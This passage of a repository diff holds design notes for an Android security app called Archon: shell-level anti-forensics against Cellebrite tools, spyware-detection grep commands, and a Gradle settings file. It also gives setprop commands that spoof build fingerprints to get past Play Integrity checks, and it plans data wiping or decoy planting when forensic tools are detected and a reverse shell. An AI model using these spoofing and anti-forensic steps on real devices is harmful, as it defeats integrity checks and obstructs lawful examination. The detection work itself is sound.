- `run-as` — switch to debuggable app context
### What Shell CANNOT Do (Root Required)
- Write to /system, /vendor, /product
- `setenforce 0` (set SELinux permissive)
- Access other apps' /data/data/ directly
- Load/unload kernel modules
- iptables/nftables (CAP_NET_ADMIN)
- Mount/unmount filesystems
---
## 6. Anti-Forensics (Anti-Cellebrite)
Cellebrite UFED and similar forensic tools attack vectors:
- ADB exploitation (need ADB enabled or USB exploit)
- Bootloader-level extraction
- Known CVE exploitation chains
- Content provider dumping
### Shell-Level Defenses
```bash
# USB Lockdown
svc usb setFunctions charging
settings put global adb_enabled 0
# Detect Cellebrite (known USB vendor IDs, rapid content query storms)
# Monitor USB events: /proc/bus/usb/devices
# Emergency data protection on forensic detection:
# - Revoke all app permissions
# - Clear clipboard (service call clipboard)
# - Force-stop sensitive apps
# - Disable USB debugging
# - Change lock to maximum security
```
### Architecture for Archon
- Background monitoring thread: USB events + logcat
- Forensic tool USB vendor ID database
- Configurable responses: lockdown / alert / wipe sensitive / plant decoys
- "Duress PIN" concept: specific PIN triggers data protection
---
## 7. Anti-Spyware (Anti-Pegasus)
NSO Group's Pegasus and similar state-level spyware use:
- Zero-click exploits via iMessage, WhatsApp, SMS
- Kernel exploits for persistence
- Memory-only implants (no files on disk)
### Shell-Level Monitoring
```bash
# Suspicious process detection
dumpsys activity processes | grep -i "pegasus\|chrysaor"
# Hidden processes (deleted exe links = classic implant pattern)
cat /proc/*/maps 2>/dev/null | grep -E "rwxp.*deleted"
# Exploit indicators in logs
logcat -d | grep -iE "exploit|overflow|heap|spray|jit"
# Unauthorized root checks
ls -la /system/xbin/su /system/bin/su /sbin/su 2>/dev/null
cat /sys/fs/selinux/enforce # 1=enforcing, 0=permissive
# Certificate injection (MITM)
ls /data/misc/user/0/cacerts-added/ 2>/dev/null
# Known spyware package patterns
pm list packages | grep -iE "com\.network\.|com\.service\.|bridge|carrier"
```
### Archon Shield Integration
- Periodic background scans (configurable interval)
- Known C2 IP/domain database (updated from AUTARCH server)
- Process anomaly detection (unexpected UIDs, deleted exe links)
- Network connection monitoring against threat intel
---
## 8. Device Fingerprint Manipulation
### Play Integrity Levels
1. **MEETS_BASIC_INTEGRITY** — Can be satisfied with prop spoofing
2. **MEETS_DEVICE_INTEGRITY** — Requires matching CTS profile
3. **MEETS_STRONG_INTEGRITY** — Hardware attestation (impossible to fake at shell level)
### Shell-Level Spoofing
```bash
# Android ID rotation
settings put secure android_id $(cat /dev/urandom | tr -dc 'a-f0-9' | head -c 16)
# Build fingerprint spoofing
setprop ro.build.fingerprint "google/raven/raven:14/UP1A.231005.007:user/release-keys"
setprop ro.product.model "Pixel 6 Pro"
# "Old device" trick (bypass hardware attestation requirement)
setprop ro.product.first_api_level 28 # Pretend shipped with Android 9
```
### Donor Key Approach
- Valid attestation certificate chains from donor devices could theoretically be replayed
- Keys are burned into TEE/SE at factory
- Google revokes leaked keys quickly
- Legally/ethically complex — research only
---
## 9. Samsung S20/S21 Specifics (TODO)
### JTAG/Debug Access
- JTAG pinpoints and schematics for S20/S21 hardware debugging
- Bootloader weakness analysis (Samsung Knox, secure boot chain)
- Secureboot partition dumping techniques
### Hardening Guide
- Samsung-specific security settings and Knox configuration
- Tool section for Samsung devices
**Status:** Research needed — not yet documented.
---
## 10. Future: LLM Suite Architecture
### Recommended Stack
```
┌──────────────────────────────────────┐
│ Koog AI Agent Layer │
│ (tools, GOAP planner, memory) │
├──────────────────────────────────────┤
│ SmolChat smollm Module │
│ (GGUF inference, llama.cpp JNI) │
├──────────────────────────────────────┤
│ Security Tools (Kotlin) │
│ (ScanPackagesTool, │
│ RestrictTrackerTool, etc.) │
├──────────────────────────────────────┤
│ PrivilegeManager │
│ (ROOT/ARCHON_SERVER/ADB/NONE) │
└──────────────────────────────────────┘
```
### Integration Steps
1. Add `smollm` as module dependency (embeds llama.cpp JNI)
2. Add `koog-agents` Gradle dependency
3. Define security tools as Koog class-based tools
4. Create "Security Guardian" agent with GOAP planner
5. Can run fully offline (on-device GGUF) or via Ollama on AUTARCH server
6. Agent autonomously monitors and responds to threats
**Status:** Future phase — implement after reverse shell is complete.

View File

@@ -0,0 +1,18 @@
pluginManagement {
repositories {
google()
mavenCentral()
gradlePluginPortal()
}
}
dependencyResolutionManagement {
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
repositories {
google()
mavenCentral()
maven { url = uri("https://jitpack.io") }
}
}
rootProject.name = "Archon"
include(":app")